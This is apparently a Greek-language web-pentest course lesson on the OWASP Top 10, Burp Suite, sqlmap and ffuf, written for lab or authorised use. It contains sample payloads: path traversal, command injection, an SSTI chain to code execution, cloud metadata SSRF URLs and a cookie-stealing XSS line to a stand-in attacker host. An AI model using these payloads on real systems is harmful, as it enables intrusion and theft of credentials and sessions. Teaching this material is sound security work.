Skip to main content

OWASP Top 10 — Έννοιες

Το web είναι εκεί όπου κυκλοφορεί το χρήμα. Είναι επίσης εκεί όπου παίζεται το 60 έως 80% ενός pentest. Το OWASP Top 10 (έκδοση 2021, αναθεώρηση 2024/2025 σε εξέλιξη) δίνει τις δέκα κατηγορίες ευπαθειών που καλύπτουν το ουσιώδες των πραγματικών επιθέσεων web. Αυτή την εβδομάδα, δεν τις αποστηθίζουμε — κατανοούμε τι στοχεύει η καθεμία.

Υπενθύμιση

Κάθε εκμετάλλευση web εκτελείται στο lab (Juice Shop, DVWA, WebGoat), ή σε στόχο υπό RoE. Ένα sqlmap σε μη εξουσιοδοτημένο ιστότοπο τρίτου είναι εχθρική πράξη σε όλες τις δικαιοδοσίες.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Να εντοπίζετε ποια από τις 10 κατηγορίες ανταποκρίνεται σε μια δεδομένη παρατήρηση σε μια εφαρμογή.
  • Να εξηγείτε τη λογική κάθε κατηγορίας σε 30 δευτερόλεπτα.
  • Να χρησιμοποιείτε το Burp Suite σε αναχαίτιση + repeater + intruder.
  • Να διακρίνετε ένα POC από μια απόδειξη αντικτύπου — τη διαφορά που κάνει μια καλή αναφορά.
  • Να αλυσιδώνετε πολλαπλά ελαττώματα για να δείξετε μια πραγματική αλυσίδα επίθεσης.

1. Το Top 10 σε μία φράση ανά κατηγορία​

Αποστηθίστε τη λογική, όχι τον αριθμό. Ο αριθμός αλλάζει σε κάθε έκδοση.

#Σύντομο όνομαΛογικήΣυγκεκριμένο παράδειγμα
A01Σπασμένοι έλεγχοι πρόσβασηςΗ εφαρμογή επιτρέπει ό,τι θα έπρεπε να απαγορεύει.Ένας κανονικός χρήστης μπορεί να καλέσει το /api/admin/users.
A02Κρυπτογραφικές αστοχίεςΤα ευαίσθητα δεδομένα ταξιδεύουν ή αποθηκεύονται κακώς προστατευμένα.Κωδικοί σε md5, HTTP αντί για HTTPS, αδύναμα υπογεγραμμένα JWT.
A03InjectionΈνα δεδομένο χρήστη εκτελείται ως κώδικας.SQL injection, command injection, LDAP injection.
A04Μη ασφαλής σχεδιασμόςΗ επιχειρηματική λογική είναι λανθασμένη ήδη από τη σχεδίαση.Password reset χωρίς όριο προσπαθειών, ακολουθία αριθμών μαντεύσιμη.
A05Κακή ρύθμισηΠροεπιλεγμένες τιμές, λειτουργία debug, ελλείπουσες κεφαλίδες.admin/admin, φλύαρα σφάλματα, απουσία X-Frame-Options.
A06Ευάλωτα συστατικάΜια εξάρτηση έχει ένα CVE και δεν είναι διορθωμένη.Ένα log4j στην 2.14, ένα παρωχημένο openssl, ένα jQuery 1.4.
A07Ταυτοποίηση / αυθεντικοποίησηΑδύναμες συνεδρίες, αδύναμοι κωδικοί, χωρίς MFA.Προβλέψιμο cookie συνεδρίας, απουσία lockout, προαιρετικό MFA.
A08Ακεραιότητα λογισμικούΗ αλυσίδα εφοδιασμού αφήνει να περάσει μη επαληθευμένος κώδικας.Ένα npm install παραβιασμένου πακέτου, ένα pipeline CI χωρίς υπογραφή.
A09Καταγραφή / παρακολούθησηΤίποτα δεν καταγράφεται, τίποτα δεν βλέπεται.Καμία ειδοποίηση για 10.000 αποτυχημένες προσπάθειες auth.
A10SSRF (Server-Side Request Forgery)Ο διακομιστής στέλνει ένα αίτημα που επέλεξε ο επιτιθέμενος.Μια εισαγωγή εικόνας που δέχεται http://169.254.169.254/latest/meta-data/.

Συγκρατήστε κυρίως: A01, A03, A05, A07, A10. Αυτά συναντάμε το 70% του χρόνου.


2. Οι πέντε προς εμβάθυνση τώρα​

2.1. A01 — Σπασμένοι έλεγχοι πρόσβασης​

Δύο πραγματικά επιθετικές υποοικογένειες:

IDOR (Insecure Direct Object Reference): το ID ενός αντικειμένου είναι προβλέψιμο και η εφαρμογή δεν ελέγχει ότι ανήκει στον χρήστη.

GET /api/users/1234/facture      → το δικό μου τιμολόγιο, σωστό
GET /api/users/1235/facture → το τιμολόγιο άλλου πελάτη (διαρροή)

Path traversal: ένα μονοπάτι αρχείου περνιέται ως παράμετρος, κακώς φιλτραρισμένο.

GET /telecharger?fichier=rapport.pdf
GET /telecharger?fichier=../../../etc/passwd

Κάθετη διαρροή προνομίων: ένας λογαριασμός χρήστη μπορεί να καλέσει ένα endpoint αποκλειστικό για διαχειριστές. Δοκιμάζουμε αλλάζοντας ένα role: user σε role: admin μέσα σε ένα JWT, ή καλώντας ένα endpoint /admin/* με κανονικό λογαριασμό.

2.2. A03 — Injection​

Η βασίλισσα των επιθέσεων. SQL, NoSQL, LDAP, εντολή OS, template, οτιδήποτε αφήνεται να αναμειχθεί με δεδομένα χρήστη.

SQL injection σε 3 γεύσεις:

  • In-band: το κλεμμένο δεδομένο βγαίνει απευθείας στην απάντηση HTTP (UNION SELECT).
  • Blind boolean: το δεδομένο δεν εμφανίζεται, αλλά η απάντηση αλλάζει ανάλογα με αληθές/ψευδές (AND 1=1 εναντίον AND 1=0).
  • Blind time-based: μετράμε τον χρόνο απάντησης (AND SLEEP(5)), ένας διακομιστής που καθυστερεί 5 δευτερόλεπτα παραπάνω αξιολόγησε τη συνθήκη ως αληθή.

Command injection: μια παράμετρος περνιέται σε ένα κακώς διαφυγόμενο system().

POST /ping  {"host": "example.com; cat /etc/passwd"}

Template injection (SSTI): πολύ σύγχρονο. Ένα template Jinja2, Twig, Handlebars αξιολογεί μια έκφραση ελεγχόμενη από τον χρήστη.

{{ 7*7 }}                                    → 49        → SSTI επιβεβαιωμένο
{{ ''.__class__.__mro__[1].__subclasses__() }} → 200 κλάσεις Python

Από εκεί, ανεβαίνουμε στο subprocess και αποκτούμε RCE.

2.3. A05 — Κακή ρύθμιση​

Το πιο εύκολο στην εκμετάλλευση, το πιο συχνό.

  • Προεπιλεγμένοι λογαριασμοί (tomcat:tomcat, admin:admin, weblogic/weblogic1).
  • Σελίδες debug σε παραγωγή (/actuator/env, /console, phpinfo.php).
  • Directory listing (Index of /) που εκθέτει .git, backup.sql.
  • Ελλείπουσες κεφαλίδες HTTP (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security).
  • Υπερβολικά επιτρεπτικό CORS (Access-Control-Allow-Origin: * + Allow-Credentials: true = καταστροφή).

2.4. A07 — Αυθεντικοποίηση​

Τρεις κλασικές επιθέσεις:

Password spraying: δοκιμάζουμε έναν μόνο κωδικό σε πολυάριθμους λογαριασμούς. Αποφεύγει το ατομικό κλείδωμα. Λειτουργεί όταν η πολιτική δεν απαιτεί ισχυρή πολυπλοκότητα.

nxc smb 10.10.10.12 -u users.txt -p Ete2025! --continue-on-success

Brute force σε λογαριασμό: πολλοί κωδικοί σε έναν μόνο λογαριασμό. Μπλοκάρεται από ένα καλά ρυθμισμένο κλείδωμα.

Credential stuffing: ένα δημόσιο dump (Collection#1, κλπ.) που δοκιμάζεται σε έναν ιστότοπο. Οι υπάλληλοι επαναχρησιμοποιούν κωδικούς, συχνά περνάει.

Στα JWT:

  • Επίθεση alg=none: αλλάζουμε τον αλγόριθμο στην κεφαλίδα και αφαιρούμε την υπογραφή. Ορισμένοι κακώς κωδικοποιημένοι parsers το δέχονται.
  • Επίθεση kid injection: χειριζόμαστε το kid για να δείξει σε ένα κλειδί που ελέγχουμε.
  • Επίθεση αδύναμου μυστικού: υπογραφή HMAC-256 με μαντεύσιμο μυστικό (secret, password, changeme).

2.5. A10 — SSRF​

Ο διακομιστής εφαρμογής, εσωτερικά, έχει πρόσβαση σε πράγματα που εσείς δεν έχετε — τα metadata cloud, τις εσωτερικές υπηρεσίες, το localhost. Το SSRF σας κάνει να περάσετε μέσω αυτού.

Στόχος νούμερο 1 σε AWS/GCP/Azure: τα metadata endpoints.

http://169.254.169.254/latest/meta-data/         (AWS)
http://metadata.google.internal/ (GCP)
http://169.254.169.254/metadata/instance (Azure)

Τι ανακτούμε: τον ρόλο IAM που συνδέεται με το instance = προσωρινά διαπιστευτήρια AWS. Από εκεί, aws sts get-caller-identity και μετά κοιτάμε τι δικαίωμα έχει ο ρόλος να κάνει.

Μια επιτυχημένη SSRF σε ένα cloud instance είναι η αποστολή που ανατρέπεται — από έναν ιστότοπο σε πρόσβαση στην υποδομή.


3. Burp Suite — το απαραίτητο εργαλείο web​

Το Burp Suite αναχαιτίζει την κίνηση HTTP/HTTPS ανάμεσα στον browser σας και τον στόχο. Είναι το ελβετικό σουγιάς του pentester web.

Ρύθμιση σε 2 λεπτά​

  1. Εκτελέστε το Burp Suite Community (συνοδεύει το Kali).
  2. Firefox → Preferences → Network → HTTP Proxy → 127.0.0.1:8080.
  3. Πλοηγηθείτε στο http://burpsuite → κατεβάστε το πιστοποιητικό CA του Burp.
  4. Firefox → Certificates → Import → επιλέξτε «Trust for websites».
  5. Επιστροφή στην κανονική κίνηση, το HTTPS αποκρυπτογραφημένο στο Burp.

Οι 4 καρτέλες που πρέπει να ξέρετε απέξω​

ΚαρτέλαΤι κάνει
Proxy → InterceptΚαταγράφει κάθε αίτημα, σας αφήνει να το τροποποιήσετε πριν φύγει.
Proxy → HTTP historyΙστορικό όλων όσων πέρασαν. Φιλτράρετε, ψάχνετε, ξαναδιαβάζετε.
RepeaterΣτέλνει το ίδιο αίτημα κατά βούληση, τροποποιημένο κάθε φορά. Η καρδιά του χειροκίνητου pentest.
IntruderΣτέλνει δεκάδες/χιλιάδες παραλλαγές με παραμετροποιημένα payloads.

Η τυπική ροή εργασίας​

  1. Πλοηγηθείτε κανονικά στην εφαρμογή, αφήστε το Burp να καταγράψει τα πάντα.
  2. Εντοπίστε ένα ενδιαφέρον αίτημα στο HTTP history (φόρμα σύνδεσης, ευαίσθητη κλήση API, URL με προβλέψιμο ID).
  3. Στείλτε στο Repeater (δεξί κλικ → Send to Repeater).
  4. Τροποποιήστε μια παράμετρο τη φορά. Στείλτε, διαβάστε την απάντηση.
  5. Αν θέλετε να δοκιμάσετε εκατοντάδες παραλλαγές (κωδικούς, ID, payloads XSS), στείλτε στο Intruder.

Intruder — ένα μόνο σημείο εισαγωγής τη φορά​

Επιθέσεις Intruder:

  • Sniper: ένα μόνο payload ανά αίτημα, σε ένα μόνο σημείο εισαγωγής. Να χρησιμοποιείται το 95% του χρόνου.
  • Battering ram: το ίδιο payload επαναλαμβανόμενο σε πολλά σημεία. Σπάνιο.
  • Pitchfork: πολλαπλές λίστες, παράλληλη κλήρωση. Χρήσιμο για ένα ζεύγος user:password.
  • Cluster bomb: καρτεσιανοί συνδυασμοί πολλαπλών λιστών. Προσοχή, εκρήγνυται γρήγορα (10 χρήστες × 1000 κωδικοί = 10.000 αιτήματα).

4. sqlmap — όταν η SQL injection επιβεβαιώνεται​

Το sqlmap αυτοματοποιεί την εκμετάλλευση SQL injections. Επιβεβαιώνετε πρώτα με το χέρι στο Burp, μετά αφήνετε το sqlmap να κάνει τη βρόμικη δουλειά.

Βασική εντολή:

sqlmap -u "http://cible/produits?id=42" --dbs

Επιλογές προς γνώση:

  • --cookie="session=abc123" — για δοκιμή πίσω από auth.
  • -r requete.txt — πέρασμα ολόκληρου αιτήματος POST.
  • --data="user=admin&pass=x" — παράμετροι POST απευθείας.
  • --dbs — καταγραφή των βάσεων.
  • --tables -D <db> — καταγραφή των πινάκων.
  • --dump -T users -D app — άδειασμα του πίνακα users.
  • --os-shell — απόκτηση shell OS αν το επιτρέπει η injection.

Προσοχή: το --dump εξάγει όλες τις γραμμές. Σε pentest υπό RoE, περιορίστε με --start=1 --stop=10 για να μην ξεπεράσετε τη ρήτρα «καμία μαζική εξαγωγή».


5. wfuzz / ffuf / gobuster — brute force endpoints​

Η εφαρμογή κρύβει ένα /admin, ένα /backup, ένα /actuator; Κάνουμε brute-force τα μονοπάτια.

# ffuf, το πιο γρήγορο σήμερα
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://cible/FUZZ -mc 200,204,301,302,401,403

# gobuster, εναλλακτική
gobuster dir -u http://cible -w /usr/share/wordlists/dirb/common.txt

# ffuf σε παραμέτρους GET
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u http://cible/api/user?FUZZ=1

Wordlists αναφοράς:


6. Η χρυσή αρχή: POC != αντίκτυπος​

Ένα POC αποδεικνύει την ευπάθεια. Μια απόδειξη αντικτύπου δείχνει τι μπορεί να κάνει με αυτήν ένας επιτιθέμενος.

Παράδειγμα XSS:

  • POC: <script>alert(1)</script> — ένα pop-up. «Είναι σπασμένο.»
  • Αντίκτυπος: <script>fetch('http://attaquant.local/'+document.cookie)</script> — το cookie συνεδρίας εξάγεται. «Ένας επιτιθέμενος κλέβει τη συνεδρία διαχειριστή.»

Παράδειγμα SSRF:

  • POC: ?url=http://localhost:8080/ — ο διακομιστής επιστρέφει μια απάντηση. «Ο διακομιστής στέλνει αιτήματα.»
  • Αντίκτυπος: ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — ανακτάτε τον ρόλο IAM AWS. «Παραβίαση της υποδομής cloud.»

Παράδειγμα SQL injection:

  • POC: id=42' OR '1'='1 — περισσότερες γραμμές επιστρέφονται. «Υπάρχει injection.»
  • Αντίκτυπος: sqlmap --dump -T users -D app --stop=1 — μια εγγραφή, ένα email, ένα hash. «Εξαγωγή της βάσης πελατών.»

Μια αναφορά με POC χωρίς αντίκτυπο είναι μια αναφορά χωρίς αξία. Αυτό ξεχωρίζει έναν pentester από έναν αυτόματο scanner.


7. Τα λάθη που δεν πρέπει να κάνετε​

  • Να εκτελείτε sqlmap --dump πριν έχετε σαφές RoE για την εξαγωγή. Καταλήγετε με ολόκληρη τη βάση πελατών στον δίσκο σας. Πρόβλημα GDPR, πρόβλημα αναφοράς, πρόβλημα συνείδησης.
  • Να μένετε στο alert(1). Ένας πελάτης θα δει το pop-up και θα το κλείσει. Πρέπει να δείξετε την κλοπή συνεδρίας ή την εξαναγκασμένη ενέργεια.
  • Να παραμελείτε τις κεφαλίδες HTTP. Ένα Cookie: PHPSESSID=1234abcd κακώς εξετασμένο μπορεί να κρύβει μια σημαία HttpOnly=false (η JS μπορεί να διαβάσει το cookie) = XSS + άμεση κλοπή συνεδρίας.
  • Να τρέχετε το Burp Intruder με 100 threads σε παραγωγή. Κάνετε DoS την υπηρεσία, σπάτε το RoE.
  • Να μην επικυρώνετε τα ψευδώς θετικά. Το sqlmap μπορεί να κάνει λάθος. Επιβεβαιώνετε πάντα με το χέρι στο Burp πριν το βάλετε στην αναφορά.

8. Τι πρέπει να συγκρατήσετε​

  • Δέκα κατηγορίες, πέντε να τις ξέρετε καλά (A01, A03, A05, A07, A10).
  • Το Burp Suite είναι το κύριο εργαλείο σας — Repeater και Intruder κατακτημένα.
  • Το sqlmap επιβεβαιώνει, δεν αντικαθιστά την κατανόηση.
  • Το ffuf βρίσκει τα κρυμμένα endpoints.
  • POC ≠ αντίκτυπος. Δείξτε πάντα τον αντίκτυπο, ποτέ μόνο την τεχνική απόδειξη.

Επόμενο μάθημα: παίρνουμε το OWASP Juice Shop, ρίχνουμε πέντε ευπάθειες του Top 10, γράφουμε μια απόδειξη αντικτύπου για την καθεμία.